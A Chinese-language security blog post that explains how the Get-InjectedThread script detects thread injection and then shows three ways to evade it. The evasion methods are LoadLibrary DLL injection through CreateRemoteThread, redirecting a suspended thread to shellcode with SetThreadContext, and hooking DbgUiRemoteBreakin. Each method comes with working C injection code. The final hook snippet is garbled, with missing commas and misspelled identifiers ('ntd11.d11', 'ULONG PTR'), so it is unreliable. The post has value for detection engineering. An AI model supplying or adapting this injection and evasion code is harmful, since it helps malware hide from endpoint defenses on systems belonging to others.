detect threat inject —— 以Get-InjectedThread为例

  • 本文以Get-InjectedThread脚本为例,概括了检测线程注入的方法

0x01 线程注入检测原理

      Get-InjectedThread是由Joe Desimone和Jared Atkinson发布的powershell 线程注入检测脚本。通过检测线程的的状态和类型,如果内存类型不为MEM_IMAGE,则说明存在注入。

      Get-InjectedThread的具体检测逻辑是这样的:

  • 1) 通过CreateToolhelpSnapshot,Thread32First,Thread32Next遍历所有的线程
  • 2)调用OpenThread获取目标线程的线程句柄
  • 3)调用NtQueryInformationThread,将ThreadInformationClass参数指定为ThreadQuerySetWin32StartAddress,获取线程内存的起始地址Thread Start Address
  • 4)调用OpenProcess获取线程对应进程的句柄
  • 5)将Process HandleThread Start Address传递给VirtualQueryEx,获取MEMORY_BASIC_INFORMATION
  • 6) 检查MEMORY_BASIC_INFORMATION结构体中状态字段(State)和类型字段(Type),如果内存类型不为MEM_IMAGE,状态是MEM_COMMIT,则说明存在注入。

      根据elastic的John Uhlmann在2022年11月的Get-InjectedThreadEx – Detecting Thread Creation Trampolines一文,已经增加了启发式的方法来检测线程注入。即通过检测线程入口的关键字。

  • 1)MZ关键字
  • 2)一些返回,跳转或者无意义填充的字节

0x02 绕过策略

      John Uhlmann在他的文章描述了几种绕过Get-InjectedThread的方法,但是这些方法都被他修复了。同样的XPN也在2018年针对早期版本的Get-InjectedThread进行了绕过。

利用Dll规避内存类型和状态检测

      将shellcode包装到dll模块中,然后通过CreateRemoteThread远程线程注入的方式执行,因为线程入口点是LoadLibrary,因此绕过Get-InjectedThread。流程如下:

  • 1)获取调用地址LoadLibraryA。
  • 2)在我们的目标进程中分配内存。
  • 3)将我们的 DLL 的路径写入分配的内存中。
  • 4)调用以启动新线程,入口点为LoadLibraryA,将DLL路径内存地址作为参数传递。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int example_loadlibrary(int pid)
{
char currentDir[MAX_PATH];
SIZE_T bytesWritten = 0;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %d\n", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in process\n");
return 1;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
printf("[X] Error: Could not find address of LoadLibrary\n");
return 1;
}
GetCurrentDirectoryA(MAX_PATH, currentDir);
strncat_s(currentDir, "\\injectme.dll", MAX_PATH);
printf("[*] Injecting path to load DLL: %s\n", currentDir);
if (!WriteProcessMemory(processHandle, alloc, currentDir, strlen(currentDir) + 1, &bytesWritten)) {
printf("[X] Error: Could not write into process memory\n");
return 2;
}
printf("[*] Written %d bytes\n", bytesWritten);
if (CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)_loadLibrary, alloc, 0, NULL) == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(\n", GetLastError());
return 2;
}
}

SetThreadContext线程注入

      首先,拉起一个挂起的线程,该线程的入口点内存类型为MEM_IMAGE,通过SetThreadContext方法,将线程的入口点设置为Shellcode。在线程被拉起的时候,内存类型为MEM_IMAGE,由此绕过检测。

  • 1)在目标进程中分配内存来保存我们的 shellcode。
  • 2)将我们的 shellcode 复制到分配的内存中。
  • 3)产生一个挂起的线程,将 ThreadProc 设置为任何MEM_IMAGE标记的内存区域。
  • 4)检索挂起线程的当前寄存器。
  • 5)更新 RIP 寄存器以指向驻留在已分配内存中的 shellcode。
  • 6)恢复执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned char shellcode[256] = {
0x90, 0x90, 0x90, 0x90
};
int example_switchsuspend(int pid)
{
char currentDir[MAX_PATH];
SIZE_T bytesWritten = 0;
HANDLE threadHandle;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %d\n", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in process\n");
return 1;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
printf("[X] Error: Could not find address of LoadLibrary\n");
return 1;
}
*(DWORD64 *)(shellcode + 26) = (DWORD64)GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
if (!WriteProcessMemory(processHandle, alloc, shellcode, sizeof(shellcode), &bytesWritten)) {
printf("[X] Error: Could not write to process memory\n");
return 2;
}
printf("[*] Written %d bytes to %p\n", bytesWritten, alloc);
threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)_loadLibrary, NULL, CREATE_SUSPENDED, NULL);
if (threadHandle == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(\n", GetLastError());
return 2;
}
// Get the current registers set for our thread
CONTEXT ctx;
ZeroMemory(&ctx, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(threadHandle, &ctx);
printf("[*] RIP register set to %p\n", ctx.Rip);
printf("[*] Updating RIP to point to our shellcode\n");
ctx.Rip = (DWORD64)alloc;
printf("[*] Resuming thread execution at our shellcode address\n");
SetThreadContext(threadHandle, &ctx);
ResumeThread(threadHandle);
}

Hook API函数

      这个方法就是Hook一个API函数,因为API函数本身内存类型和状态就可以绕过Get-InjectedThread工具。

1
2
3
4
5
char hook[] = {0x480xb80x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0xff0xe0};
*(ULONG_PTR*)(hook + 2) = (ULONG PTR)pShellcode;
auto pHookedFunc = GetProcAddress(GetModuleHandlew(L"ntd11.d11"), "DbgUiRemoteBreakin");
WriteProcessMemory(GetCurrentProcess(),pHookedFunc, hook, sizeof(hook), NULL);
CreateThread(NULL,0,(LPTHREAD START ROUTINE)pHookedFunc,NULL,0,NULL);

0x00 参考文章